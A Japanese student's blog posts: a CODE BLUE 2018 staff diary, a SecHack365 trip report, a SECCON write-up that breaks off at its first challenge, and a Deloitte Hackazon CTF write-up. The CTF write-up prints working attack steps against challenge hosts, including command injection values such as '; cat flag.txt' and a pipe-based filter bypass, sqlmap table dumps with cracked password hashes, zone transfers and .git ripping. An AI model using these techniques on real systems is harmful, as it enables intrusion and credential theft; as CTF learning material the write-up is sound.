CODE BLUE 2018 に学生スタッフとして参加してきた話

はじめに

CODE BLUE 2018 の学生スタッフの選考を通過したので,学スタとしてCB2018に参加してきました.

最初に書きますが学生スタッフめちゃくちゃオススメです!
以下オススメポイント

  • 交流日(?):0.5日 + 業務日:1日 + 聴講日:1日
  • ホテル付き(条件あり)
  • 参加費無料
  • CB Tシャツ貰える
  • セキュリティ界隈の強い人達に会える

codeblue.jp

f:id:satto1237:20181105005046j:plain

0日目 (10/31)

12:30

集合前にしっかりラーメン食べました💪🏻🍜 f:id:satto1237:20181105004002j:plain

13:30

13:30に会場集合でした.
人権のある集合時間で圧倒的感謝

14:00

集合後は事前準備をするのかなと思っていたら学生スタッフ同士の交流時間でした.
強い学スタのみなさんと頑張って名刺交換しました.
スポンサー企業の人とも頑張って名刺交換しました.
今回は「ゆるい名刺(Twitter, Github, hatena blog, CTFteam, 好きなラーメンを書いたモノ)」と「フォーマル?な名刺(本名と所属を書いたモノ)」を用意したので企業の人ともしっかり名刺交換できました.

交流会後に軽く業務説明があり,解散となりました.

18:30

ホテルに戻ってから何人かで飲みに行きました.
同年代かつ共通の分野に興味がある人達との会話は楽しいですね.
f:id:satto1237:20181105005245j:plain

1日目 (11/1)

08:30

自分は聴講日だったので8時半起きだったのですが業務日だった学スタは5時半頃に起きてました.

10:00

F-SecureのMikko Hypponen氏による Cyber Arms Race を聴講しました.

f:id:satto1237:20181105010449j:plain

11:00

Mikko氏の基調講演を聞いたあとは以下のセッションを聴講しました.

  • Mirai’s Botnet#14 - how BestBuy and Deutsche Telekom ruined my (an many others) Xmas of 2016
  • Watch the Drop! A Case Study in Transnational Cyber-Criminal Money Laundering
  • Smart Fuzzing XPC & XNU
  • Wow, PESSR has Eroded Apple in Blink - Fun and Profit to Gain Dozens of iOS Vulnerabilities in Minutes by (P)ortable (E)xtensible (S)criptable (S)eed (R)eproducible Mobile Fuzzer

15:30

聴講でちょっと疲れたので15時半以降はDeloitte CTFに参加したり企業のブースを見て回ってました.

satto.hatenadiary.com

富士通のブースを見学しに行ったらバイナリかるた(バイナリを読んでフォーマットを当てるゲーム)があり,「当てたらあげるよ」と言われたので挑戦してGETしました!
簡単な問題で助かりました…(JPEG)

バイナリかるた

f:id:satto1237:20181105011849j:plain

18:00

Close後は何人かでラーメンを食べに行きました💪🏻🍜

f:id:satto1237:20181105011240j:plain

21:00

翌日は学スタ業務日で早起きしなければいけないのに何人かで部屋にあつまり,黙々とDeloitte CTFをやっていました.

26:30

就寝???

2日目 (11/2)

06:00

起床…

08:00

ドアキーパーをCloseまでやりました.
英語で話しかけられたときに固まらずにカタコト英語で対応できたので必要最低限の仕事はできたのではないかと思います.

19:00

ネットワーキングパーティー
(写真撮り忘れました)

f:id:satto1237:20181105012712j:plain

21:15

ダーツバーで二次会 (写真撮り忘れました)

強い人達のLT聞けたのでよかった.
まだ名刺交換できてなかった人とも名刺交換できたのよかった.

まとめ

  • CODE BLUE いい感じですね
  • 学生スタッフはアド
  • 来年はCBSOCとかCBNOC側で参加してみたいなと思った
  • 色々と刺激を受けたのでモチベが上がった
  • 強くなるぞ💪🏻

Deloitte Tohmatsu Risk Service CTF Write-up

はじめに

CODE BLUE 2018 に学生スタッフとして参加した際にDeloitte CTFにも参加したのでそのWrite-upです.

Deloitte CTF とは

仕事中にハッキングの問題に取り組んだりしていると怒られませんか?Deloitte Cyber Risk Servicesでは、ハッキングの問題に取り組み、学び、解決するスキルが業務を遂行する上で非常に重要なことであると考えられています。そのため、Deloitte Cyber Risk Servicesでは、Hackazonプラットフォームを活用し、ハッキングの腕前やサイバーセキュリティの専門的スキルを日々鍛えることを仕事の一部としているようなプロフェッショナルも存在しています。

Hackazonは、Deloitteによって開発されたCapture the Flag(CTF)プラットフォームです。今回、日本のCodeBlueイベントに合わせ、Hackazonプラットフォーム内でハッキングチャレンジを準備しました。このCTFはオンラインで楽しむことができますが、DTRSブース内にもあなたの最高のハッキングスキルを披露するための席を設けています。この機会に是非、当社CTFに挑戦してください!

優秀な成績の方には、優秀賞を差し上げます。本CTFは、11月3日(午前6時59分まで)まで有効です!

Hackazon Portal

成績

1人で参加して 3位 / 65人中(チーム中?) でした.
f:id:satto1237:20181104191556p:plain

優秀な成績の方には、優秀賞を差し上げます。

これって何位まで貰えるんでしょうか?1位の人だけかな?

追記 [2018/11/13]

賞品が届きました!
MALWOPOLY(MONOPOLYのセキュリティ版?)とポロシャツを頂きました!
DTRSさんありがとうございます!
MALWOPOLYは余裕ができたら研究室で遊んでみたいと思います!

f:id:satto1237:20181113175712j:plain

ACTIVE INFORMATION GATHERING - DNS [MISC 60]

DNS - NAME SERVER [10 POINTS]

What is the name server for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t ns hacklab.local 10.6.0.2
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

hacklab.local name server ns.hacklab.local.

ns.hacklab.local

DNS - MAIL SERVER [20 POINTS]

What is the mailserver for the "hacklab.local" zone? The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t mx hacklab.local 10.6.0.2
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

hacklab.local mail is handled by 10 mail.hacklab.local.

mail.hacklab.local

因みに10はMXレコードのプライオリティです.
この問題は途中まで主催者側がflagを間違えていたので苦労しました

DNS - ZONE TRANSFER [30 POINTS]

Perform a zone transfer for the "hacklab.local" zone, submit the hidden flag. (The answer starts with "CTF") The DNS server can be found on 10.6.0.2

アプローチ:hostコマンド

> host -t axfr hacklab.local 10.6.0.2
Trying "hacklab.local"
Using domain server:
Name: 10.6.0.2
Address: 10.6.0.2#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37365
;; flags: qr aa ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;hacklab.local.         IN  AXFR

;; ANSWER SECTION:
hacklab.local.      604800  IN  SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800
hacklab.local.      604800  IN  NS  ns.hacklab.local.
hacklab.local.      604800  IN  MX  10 mail.hacklab.local.
dev.hacklab.local.  604800  IN  A   10.6.0.2
mail.hacklab.local. 604800  IN  A   10.6.0.2
ns.hacklab.local.   604800  IN  A   10.6.0.2
ZoneTransfer.hacklab.local. 604800 IN   TXT "CTF{ZoneTransfer}"
hacklab.local.      604800  IN  SOA hacklab.local. root.hacklab.local. 30000 604800 86400 2419200 604800

CTF{ZoneTransfer}

PASSIVE INFORMATION GATHERING [MISC 60]

GOOGLE HACKING [10 POINTS]

Who is the CEO of Deloitte Global? (Submit the firstname and lastname)

アプローチ:ググる

Punit Renjen

IP ADDRESS LOOKUP [20 POINTS]

Use the tool "nslookup" to determine the IP address of www.google.jp

アプローチ:色々と試す

候補になるIPアドレスがたくさんあるので色々と試していきます.

172.217.161.67

これは悪問なのでは?(下の問題のIPアドレスflag?)

WHOIS - IP OWNER [10 POINTS]

Who is the owner (OrgName) of the IP address: 172.217.161.67?

アプローチ:whois

> whois 172.217.161.67
~~~
OrgName:        Google LLC
OrgId:          GOGL
Address:        1600 Amphitheatre Parkway
City:           Mountain View
StateProv:      CA
PostalCode:     94043
Country:        US
RegDate:        2000-03-30
Updated:        2018-10-24
Comment:        Please note that the recommended way to file abuse complaints are located in the following links.
Comment:
Comment:        To report abuse and illegal activity: https://www.google.com/contact/
Comment:
Comment:        For legal requests: http://support.google.com/legal
Comment:
Comment:        Regards,
Comment:        The Google Team
Ref:            https://rdap.arin.net/registry/entity/GOGL
~~~

Google LLC

WHOIS - DOMAIN OWNER [20 POINTS]

Who is the owner (Registrant) of the domain: deloitte.jp?

アプローチ:whois

> whois deloitte.jp
~~~
Domain Information: [ドメイン情報]
[Domain Name]                   DELOITTE.JP

[登録者名]                      有限責任監査法人トーマツ
[Registrant]                    Deloitte Touche Tohmatsu LLC

[Name Server]                   ns01.tohmatsu.co.jp
[Name Server]                   dns3.odn.ne.jp
[Name Server]                   dns-a.iij.ad.jp
[Name Server]                   ns11.tohmatsu.co.jp
[Signing Key]

[登録年月日]                    2001/03/26
[有効期限]                      2019/03/31
[状態]                          Active
[最終更新]                      2018/04/01 01:05:11 (JST)
~~~

Deloitte Touche Tohmatsu LLC

NETWORK SNIFFING [NET 140]

WIRESHARK 1 [15 POINTS]

Who logged into 192.168.0.1? (Submit answer as username/password) File: 01_telnet.pcap

アプローチ:wireshark

f:id:satto1237:20181104202156p:plain

fake/user

WIRESHARK 2 [15 POINTS]

What command did the administrator use, after logging in to the system? (Submit the full command as answer, for example: /sbin/ls webfolder) File: 01_telnet.pcap

アプローチ:wireshark

f:id:satto1237:20181104202458p:plain

/sbin/ping www.yahoo.com

WIRESHARK 3 [15 POINTS]

What type of nmap scan is performed? (Submit the appropriate flag set on the packer, for example: FIN) File: 02_nmap_scan.pcap

アプローチ:wireshark

SYN

WIRESHARK 4 [15 POINTS]

What protocol is used to chat? File: 03_chat.pcap

アプローチ:当該パケットのプロトコルを確認する

MSNMS

WIRESHARK 5 [20 POINTS]

This is a conversation between ?????@hotmail.com and ?????@hotmail.com (Submit the answer in the following format: userA/userB)? File: 03_chat.pcap

アプローチ:wireshark

f:id:satto1237:20181104202953p:plain

tesla_brian/tesla_thomas

WIRESHARK 6 [20 POINTS]

What is the IP of the FTP server? File: 04_ftp.pcap

アプローチ:wireshark

FTPサーバのIPなのでログイン試行されてる方のIPを答えます.

10.121.70.151

WIRESHARK 7 [20 POINTS]

What service is used? (Look in the protocol column in Wireshark) File: 05_foobar.pcap

アプローチ:wiresharkの統計機能

f:id:satto1237:20181104204010p:plain

Gnutella

WIRESHARK 8 [20 POINTS]

Accountnumber used? File: 06_covertchannnel.pcap

アプローチ:grep

06_covertchannnel.pcapだけファイルサイズが小さく,grepだけでいけるやろと思ったのでgrepしました.

> strings 06_covertchannel.pcap | grep account
BlueChat10.100.17.48   Transfer all of the funds to account number 1192828231-0                                                 nI
BlueChat10.100.17.48   Transfer all of the funds to account number 1192828231-0

1192828231-0

ACTIVE INFORMATION GATHERING - NMAP [NET 140]

NMAP 1 [10 POINTS]

Perform a nmap scan on host 10.6.0.2. Which ports does the system expose? (Submit the open ports seperated by a comma (example: 80,443,1337))

アプローチ:nmap

> nmap 10.6.0.2
Nmap scan report for 10.6.0.2
Host is up (0.34s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
993/tcp  open  imaps
995/tcp  open  pop3s
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds

21,80,3306

NMAP 2 [20 POINTS]

Perform a nmap scan on host 10.6.0.2. Which service runs on port 21?

アプローチ:well-known ports

ftp

NMAP 3 [30 POINTS]

Perform a nmap scan on host 10.6.0.2. What version of Apache does the system have installed?

アプローチ:-A オプション

> nmap -A 10.6.0.2
Nmap scan report for 10.6.0.2
Host is up (0.52s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd 3.0.2
80/tcp   open  http       Apache httpd 2.4.18 ((Unix))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.18 (Unix)
|_http-title: Site doesn't have a title (text/html).
110/tcp  open  tcpwrapped
143/tcp  open  tcpwrapped
993/tcp  open  imaps?
995/tcp  open  pop3s?
3306/tcp open  mysql      MySQL (unauthorized)
Service Info: OS: Unix

Apache/2.4.18

NMAP 4 [40 POINTS]

Read the nmap manual page and figure out how to conduct a ACK scan with OS identification and scan fewer ports then normal (For example: nmap sS -A -P1).

アプローチ:nmap manualを読む

nmap.org

nmap -sA -O -F

scan fewer ports then normal

の解釈が難しかった.
デフォルトポートスキャン数を調べて -pで色々指定してた(結局-Fだけで良かった).

SIMPLE NSLOOKUP TOOL [WEB 100]

Our corporate DNS servers block lookups to some of my favourite sites. I setup this simple tool on my server so I can still access them from work.

Can you test it for me and make sure it is not possible to call any other binaries?

f:id:satto1237:20181104211103p:plain

アプローチ:コマンドインジェクション

色々と探ってみるとコマンドインジェクションができそうだということが分かります.

-> ; ls

app.py
app.pyc
flag.txt
static
templates

-> ; cat flag.txt

Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}

CTF{9f947ab476f47fc32da2b8e5ffb41f97}

SIMPLE NSLOOKUP TOOL V2 [WEB 150]

Version 1 of our nslookup tool was vulnerable to command injection. As a fix I blocked the common command execution tricks (;&$><`!).

Can you test version 2 for me and make sure it is not possible to call any other binaries?

f:id:satto1237:20181104212005p:plain

アプローチ:パイプ

V1と同様のやり方ではコマンドインジェクションできないことが分かります.
そこで,common command execution tricks に着目します.
よく確認するとパイプ(|)が含まれていないことに気づきます.

-> | cat flag.txt

Oops, not as secure as I thought!
CTF{9f947ab476f47fc32da2b8e5ffb41f97}

CTF{9f947ab476f47fc32da2b8e5ffb41f97}

これV1とflagが変わってないんですけど大丈夫ですかね

CODE BLOO [WEB 725]

f:id:satto1237:20181104213447p:plain

CodeBloo

EXTRA FLAG [50 POINTS]

Time to warm up! Can you get the extra flag on the home page?

アプローチ:ページソースの編集

Receive an extra flagボタンをクリックするとflagが取れそうですが,クリックできないようになっています.

<br /><br /><a class="btn btn-primary btn-lg disabled" href="#" onclick="var key = this.id.split('flag')[1]; alert(document.getElementById('extraflag').innerText.split('').map( (x, i) => String.fromCharCode(x.charCodeAt(0) ^ key.charCodeAt(i % key.length))).join(''))" role="button" id="extraflag31337">Receive an extra flag</a>

disabledを消してあげるとボタンがクリックできるようになります.
f:id:satto1237:20181104214404p:plain

CTF{code_blue_extra_flag}

ANIMATE [50 POINTS]

Wait.. an extra flag? That means we missed the first flag! Where could it be?

アプローチ:WebM

問題文から動画を再生しろということが分かる(?)のでページソース内から関連ワードを探します(今回の場合はwebmが該当).

https://codebloo.challenge.hackazon.org/static/logo-bloo.webm#t=0

リンク先の動画の最後にバーコードが表示されるので読み取ります.

f:id:satto1237:20181104215522p:plain

CTF{bloo_has_a_barcode}

UGLY [50 POINTS]

Those scripts look damn ugly... surely we can make it look nicer?

アプローチ:script.jsを確認

ChromeデベロッパーツールSourcesscript.jsを確認します

// You found the source mapping flag!
// CTF{bloo_hid_it_in_the_source_map}

CTF{bloo_hid_it_in_the_source_map}

COLOUR CODED MESSAGES [75 POINTS]

Can you figure out what weird message Bloo was sending to his friends?

f:id:satto1237:20181104220156p:plain

アプローチ:color code to ascii

ソースコードからカラーコードを引っこ抜いてcolor.txtとして保存します.

<span style="background: #4c6f72;"></span>
<span style="background: #656d20;"></span>
<span style="background: #697073;"></span>
<span style="background: #756d20;"></span>
<span style="background: #646f6c;"></span>
<span style="background: #6f7220;"></span>
<span style="background: #736974;"></span>
<span style="background: #20616d;"></span>
<span style="background: #65742c;"></span>
~略~

適当なスクリプトを書いてasciiに変換します.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import binascii

if __name__ == '__main__':

    colors = []
    with open('color.txt', encoding='utf-8') as f:
        for line in f:
            line = line.rstrip('\r\n')
            colors.append(line)

    flag = [binascii.unhexlify(color).decode('utf-8') for color in colors]
    print(''.join(flag))
> python solve.py
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec risus lacus, tristique at convallis quis, pretium eu ligula. Suspendisse tempor nunc quis odio ullamcorper, ac tincidunt est porta. Interdum et malesuada fames ac ante ipsum primis in faucibus. Nulla arcu arcu, finibus non condimentum quis, vehicula et nulla. Nullam posuere felis leo, quis volutpat neque rutrum eget. Maecenas eu consectetur urna, non tristique felis. Donec aliquam dui eget ornare maximus. Integer nunc nibh, imperdiet a ipsum vitae, lacinia facilisis ex. Cras blandit dolor ac porta facilisis. Pellentesque finibus ultricies orci ut consectetur. Pellentesque sit amet lobortis mi. Sed eleifend justo id nibh venenatis, sed pretium quam blandit.
Congratulations... you found the flag: CTF{code_blue_red_purple}

CTF{code_blue_red_purple}

LOGIN [50 POINTS]

Bloo really needs to do a security checklist 101 before publishing websites to the Internet... can you login?

アプローチ:SQLi

普通のSQLiでいけます.

f:id:satto1237:20181104221237p:plain

Welcome, guest. From the database, I got that your favorite colour is blue!
Guests get an extra flag! CTF{blue_dabedie_dabeda}

SUPERUSER ACCESS GRANTED [150 POINTS]

Bloo left another vulnerability in the website and people somehow know his plaintext password! What is Bloo's password?

アプローチ:💪🏻ゆとりは黙ってsqlmap💪🏻

tableの一覧を調べる

> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' --tables
~略~
Database: bloo
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+
~略~

users tableの中身をdump

> sqlmap -u 'https://codebloo.challenge.hackazon.org/login?username=1&password=2' -T users --dump
~略~
Database: bloo
Table: users
[2 entries]
+-------+----------+------------------------------------------+
| color | username | password                                 |
+-------+----------+------------------------------------------+
| blue  | guest    | 084e0343a0486ff05530df6c705c8bb4 (guest) |
| red   | admin    | 3730945b84a6e2146faab7c0d6c02365         |
+-------+----------+------------------------------------------+
~略~

passwordMD5で保存されているようなのでググれば出てきます.

guest : guest
admin : codezero

Blooってadminなのか?と思いながらcodezeroを提出すると通ったのでBlooadminです(?)

VAULT [200 POINTS]

Bloo has hidden his secrets in the vault. Were you able to recover his password?

f:id:satto1237:20181104223712p:plain f:id:satto1237:20181104223722p:plain

アプローチ:WebAssemblyを動的解析

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,136,128,128,128,0,1,96,3,127,127,127,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,147,128,128,128,0,2,6,109,101,109,111,114,121,2,0,6,118,101,114,105,102,121,0,0,10,203,131,128,128,0,1,197,131,128,128,0,1,1,127,65,0,33,3,2,64,32,2,65,28,71,13,0,2,64,32,0,13,0,65,1,33,3,32,1,65,195,0,70,13,1,11,65,1,33,3,2,64,32,0,65,1,71,13,0,32,1,65,212,0,70,13,1,11,2,64,32,0,65,2,71,13,0,32,1,65,198,0,70,13,1,11,2,64,32,0,65,3,71,13,0,32,1,65,251,0,70,13,1,11,2,64,32,0,65,4,71,13,0,32,1,65,233,0,70,13,1,11,2,64,32,0,65,5,71,13,0,32,1,65,237,0,70,13,1,11,2,64,32,0,65,6,71,13,0,32,1,65,223,0,70,13,1,11,32,0,65,7,70,32,1,65,225,0,70,113,13,0,32,0,65,8,70,32,1,65,223,0,70,113,13,0,2,64,32,0,65,9,71,13,0,32,1,65,247,0,70,13,1,11,2,64,32,0,65,10,71,13,0,32,1,65,229,0,70,13,1,11,32,0,65,11,70,32,1,65,226,0,70,113,13,0,32,0,65,12,70,32,1,65,225,0,70,113,13,0,32,0,65,17,70,32,1,65,226,0,70,113,13,0,32,0,65,16,70,32,1,65,237,0,70,113,13,0,32,0,65,115,106,65,2,73,32,1,65,243,0,70,113,13,0,32,0,65,15,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,18,71,13,0,32,1,65,236,0,70,13,1,11,32,0,65,19,70,32,1,65,249,0,70,113,13,0,32,0,65,20,70,32,1,65,223,0,70,113,13,0,32,0,65,21,70,32,1,65,232,0,70,113,13,0,32,0,65,22,70,32,1,65,225,0,70,113,13,0,2,64,32,0,65,23,71,13,0,32,1,65,227,0,70,13,1,11,32,0,65,24,70,32,1,65,235,0,70,113,13,0,32,0,65,25,70,32,1,65,229,0,70,113,13,0,2,64,32,0,65,26,71,13,0,32,1,65,242,0,70,13,1,11,32,0,65,27,70,32,1,65,253,0,70,113,15,11,32,3,11]);
var wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(buffer));

function verify(code) {
  var correct = true;
  for (var c = 0; c < code.length; c++) {
    correct &= wasmInstance.exports.verify(c, code.charCodeAt(c), code.length);
  }
  return correct;  
}

コードを読むとverify文字のindexasciiの値文字列の長さを渡し,1 or 0を返していることが分かります.

bufferを静的解析するのはしんどそうなので動的解析します.
まず正しい返り値を得るには正しい文字列長が必要になるので文字列長を調べます.

for (ascii = 32; ascii < 127; ascii++) {
  for(len = 1; len < 100; len++) {
    check = wasmInstance.exports.verify(0, ascii, len)
    if (check) {
      alert('len:' + len + ', ascii:' + ascii)
    }
    
  }
}

f:id:satto1237:20181104224915p:plain

正しい文字列長は28で文字列の1文字目はCであることが分かりました.

正しい文字列長が分かったので正しい文字列を総当たりで求めます.

var ans = ''

for(c = 0; c < 29; c++) {
  for (ascii = 32; ascii < 127; ascii++) {
    var check = wasmInstance.exports.verify(c, ascii, 28)
    if (check) {
      ans += String.fromCharCode(ascii)
    }
  }
}

alert(ans)

f:id:satto1237:20181104225239p:plain

CTF{im_a_webassembly_hacker}

IT'S ALL UNDER CONTROL [100 POINTS]

Bloo always says he's got everything under control. It even says this on the About page!

f:id:satto1237:20181104225538p:plain

アプローチ:.gitの中身を確認

問題文通りにhttps://codebloo.challenge.hackazon.org/.gitにアクセスしてみるとしっかり200が返ってきます.

dvcs-ripperを使って.gitをまるっと落とします.
github.com

> ./rip-git.pl -v -u https://codebloo.challenge.hackazon.org/.git
> git show HEAD
commit a35561d9ca77ffe6e9d1256f1c6a323a51b9c135 (HEAD -> master)
Author: Cedric Van Bockhaven <cvanbockhaven@deloitte.nl>
Date:   Wed Oct 24 12:17:37 2018 +0200

    tests completed

diff --git a/test.html b/test.html
index 4a80eff..522d82d 100644
--- a/test.html
+++ b/test.html
@@ -1,2 +1 @@
-Congratulations... have yourself a flag :)
-CTF{found_the_hidden_git}
+Test successful.

CTF{found_the_hidden_git}

HACKAZON EC2 WEBSITE [WEB 1250]

f:id:satto1237:20181104230557p:plain

HIDDEN IN PLAIN SIGHT [50 POINTS]

There is a simple starter flag staring you right in the face. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:ソースコードを見る

ソースコードからCTFという文字列を探すとflagが見つかります.

CTF{83be3524805662a4096af24cbe069bc4}

THE ROBOT KNOWS [50 POINTS]

There are some files on this sever you just should not be able to view. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:robots.txt

問題名に従いhttp://10.6.0.1/robots.txtにアクセスしてみると

User-agent: *
Disallow: /
Disallow: /super-secret-admin-1234.php

怪しいページがあることが分かりますね.
さっそくhttp://10.6.0.1/super-secret-admin-1234.phpにアクセスしてみますがhttp://10.6.0.1/index.phpにリダイレクトされてしまいます.
ここで「は?」とならずに落ち着いてcurlします.

> curl http://10.6.0.1/super-secret-admin-1234.php
         _______                   _____                    _____            _____                _____                    _____
        /::\    \                 /\    \                  /\    \          /\    \              /\    \                  /\    \
       /::::\    \               /::\    \                /::\____\        /::\    \            /::\    \                /::\    \
      /::::::\    \             /::::\    \              /:::/    /        \:::\    \           \:::\    \              /::::\    \
     /::::::::\    \           /::::::\    \            /:::/    /          \:::\    \           \:::\    \            /::::::\    \
    /:::/~~\:::\    \         /:::/\:::\    \          /:::/    /            \:::\    \           \:::\    \          /:::/\:::\    \
   /:::/    \:::\    \       /:::/__\:::\    \        /:::/    /              \:::\    \           \:::\    \        /:::/__\:::\    \
  /:::/    / \:::\    \     /::::\   \:::\    \      /:::/    /               /::::\    \          /::::\    \      /::::\   \:::\    \
 /:::/____/   \:::\____\   /::::::\   \:::\    \    /:::/    /       ____    /::::::\    \        /::::::\    \    /::::::\   \:::\    \
|:::|    |     |:::|    | /:::/\:::\   \:::\    \  /:::/    /       /\   \  /:::/\:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \
|:::|____|     |:::|    |/:::/__\:::\   \:::\____\/:::/____/       /::\   \/:::/  \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\
 \:::\    \   /:::/    / \:::\   \:::\   \::/    /\:::\    \       \:::\  /:::/    \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /
  \:::\    \ /:::/    /   \:::\   \:::\   \/____/  \:::\    \       \:::\/:::/    / \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/
   \:::\    /:::/    /     \:::\   \:::\    \       \:::\    \       \::::::/    /           /:::/    /            \:::\   \:::\    \
    \:::\__/:::/    /       \:::\   \:::\____\       \:::\    \       \::::/____/           /:::/    /              \:::\   \:::\____\
     \::::::::/    /         \:::\   \::/    /        \:::\    \       \:::\    \           \::/    /                \:::\   \::/    /
      \::::::/    /           \:::\   \/____/          \:::\    \       \:::\    \           \/____/                  \:::\   \/____/
       \::::/    /             \:::\    \               \:::\    \       \:::\    \                                    \:::\    \
        \::/____/               \:::\____\               \:::\____\       \:::\____\                                    \:::\____\
         ~~                      \::/    /                \::/    /        \::/    /                                     \::/    /
                                  \/____/                  \/____/          \/____/                                       \/____/

CTF{2d88fc96e397c56c25b6180a7e752894}%

CTF{2d88fc96e397c56c25b6180a7e752894}

KONAMI [50 POINTS]

There is a Hackazon cheat code you can enter which will disclose a konami code flag. The website can be accessed via 10.6.0.1. Flag format: CTF{32-hex}

アプローチ:CSSのコードを確認

#konami-full-robot{
    margin-left: -270px;
}

#konami-branding { 
    background: url('../img/robot-head.png') no-repeat center top;
    width: 271px;
    height: 253px;
    z-index: 4; 
    }

#konami-content {
    background: url('../img/robot-torso.png') no-repeat center top;
    width: 271px;
    height: 164px;
    z-index: 3;
    margin-top: -65px;
    }

#konami-sec-content {
    background: url('../img/robot-hips.png') no-repeat center top;
    width: 271px;
    height: 124px;
    z-index: 2;
    margin-top: -90px;
    }

#konami-footer {
    background: url('../img/robot-legs.png') no-repeat center top;
    width: 271px;
    height: 244px;
    z-index: 1;
    margin-top: -90px;
}

とりあえずhttp://10.6.0.1/img/robot-head.pngにアクセスしてみると

f:id:satto1237:20181104233339p:plain

ロボットの頭にflagが書かれていることが確認できます.

CTF{55a1d6079d5078b9185306c54ee063f8}

まとめ

  • Deloitte CTFのおかげで学スタの空き時間を楽しく過ごせた (もちろん聴講もしました)
  • 色々と勉強になった (特にWebAssembly)
  • Crypto問が出題されなくて残念だった
  • Web問が何も分からないので勉強したい
  • Code Blooを1番最初に全完できたのが地味に嬉しかった
  • 上位に入れたのが嬉しかった (3位)

SecHack365@山形に行ってきた話

SecHackのオフラインイベントで山形に行ってきました(10/12~10/14)

0日目 (10/11)

大学関係のタスクに忙殺されていて本当にしんどかった.
英気を養うためにラーメンを食べた.
f:id:satto1237:20181030150936j:plain

1日目 (10/12)

06:00

起床.

09:00

東京駅到着.
新幹線では論文読んだりポスターを見直して話す内容を整理していた.

11:50

山形駅着.
新幹線でめちゃくちゃ乗り物酔いしてつらくなった.
f:id:satto1237:20181030152334j:plain

12:30

昼飯.
事前におすすめラーメンを地元民に聞いていたので店はすぐ決まった. f:id:satto1237:20181030152105p:plain f:id:satto1237:20181030153207j:plain

14:15

会場到着.
ハロウィーン仕様だった.
f:id:satto1237:20181030153708j:plain

15:30

ポスター発表開始.
やっぱりしゃべる内容よりもデモを見せた方がウケがいいなと思った.
チームメンバが担当しているフロントエンドやバックエンドの進捗と比べ,自分が担当している異常検知,脆弱性検知の進捗はデモを見せることができるレベルに達していなかったので本当に申し訳なくなった.
デモの展示が必須になる愛媛回までには間に合わせたい.

16:30

ポスター発表でもらったコメントの整理.
議論が甘くてツッコまれるだろうな〜と思ってた問題や全く考えていなかった問題について色々とコメントをもらったのですごく有意義だった.

18:10

夕飯.
f:id:satto1237:20181030155928j:plain

19:20

他の人のポスター発表みた.
それぞれポスターに個性が出てて面白かった.

25:00

温泉入ったり部屋でチームメンバと話をしたりしていたら日付が変わっていたので就寝.

2日目 (10/13)

08:30

朝ごはんチャレンジ成功.

09:10

修了生LT

  • レーザポインタを用いた家電操作
  • 分散Webプラットフォーム
  • Shima Fuzzy Lop
  • 深層学習を用いたフィッシングサイト検知

求められる最終成果物のレベルが高いな〜と思った.

10:00

ポスター発表レビュー
トレーナーと相談しながら今後の方針を決めた.
要件定義 is 大事

12:15

昼飯.
f:id:satto1237:20181030162459j:plain

13:15

ロープウェイでハイキング(リフレッシュ)
現地の人に頭のおかしい集団だと思われたかも f:id:satto1237:20181030162555j:plain f:id:satto1237:20181030162623j:plain f:id:satto1237:20181030162653j:plain f:id:satto1237:20181030162721j:plain

15:20

ポスター直し.

17:00

ARLISS 世界で最も過酷なロボットコンペ の講演.
CanSatめっちゃ面白そうだなと思った(正直な感想).
いくら理論を突き詰めても事前準備(実験)が不十分だと失敗するよという話が印象的だった.

18:00

夕飯.
f:id:satto1237:20181030163347j:plain

19:00

トレーナーLT + 交流
良い交流になったと思う.

25:00

なぜ日付が変わらないと眠れないのか?
23:00頃に眠れるように生活リズムを正していきたい.

3日目(10/14)

08:30

朝食チャレンジ失敗.

9:10

コースワークやポスター関連の話し合い

11:30

習慣化フォローアップ
「やる気」は元々存在しない.
言い訳を考えつく前に行動しよう.
という話を聞いて確かにその通りだなと思いました.

12:00

昼飯アンド今後の相談

f:id:satto1237:20181030164201j:plain

15:00

解散.

19:30

東京駅到着.
チームメンバが新幹線内で進捗出しててプロかよ…と思った.

21:00

夕飯.
ラーメンで締め. f:id:satto1237:20181030164450j:plain

まとめ

  • 言い訳を考えつく前に行動する
  • 愛媛回までにデモを見せれるように進捗だす
  • ポスター発表の練習(話すことを整理)を十分にする
  • ラーメンの食べ過ぎに気をつける

SECCON 2018 Write-up

はじめに

10/27,28に開催されたSECCON 2018に研究室の同期とm45kというチームで参加しました.

SECCON 2018 Online CTF

成績

3問解いて 183位 / 653チーム でした. f:id:satto1237:20181029160547p:plain f:id:satto1237:20181029231926p:plain

Write-up

自分が解いた Runme, Boguscrypt についてのWrite-up です.

Runme [Reversing]

Run me.

アプローチ:Stackの確認
ダウンロードしたファイルを調べてみると32bit版 Windowsの実行ファイルだということが分かりました.

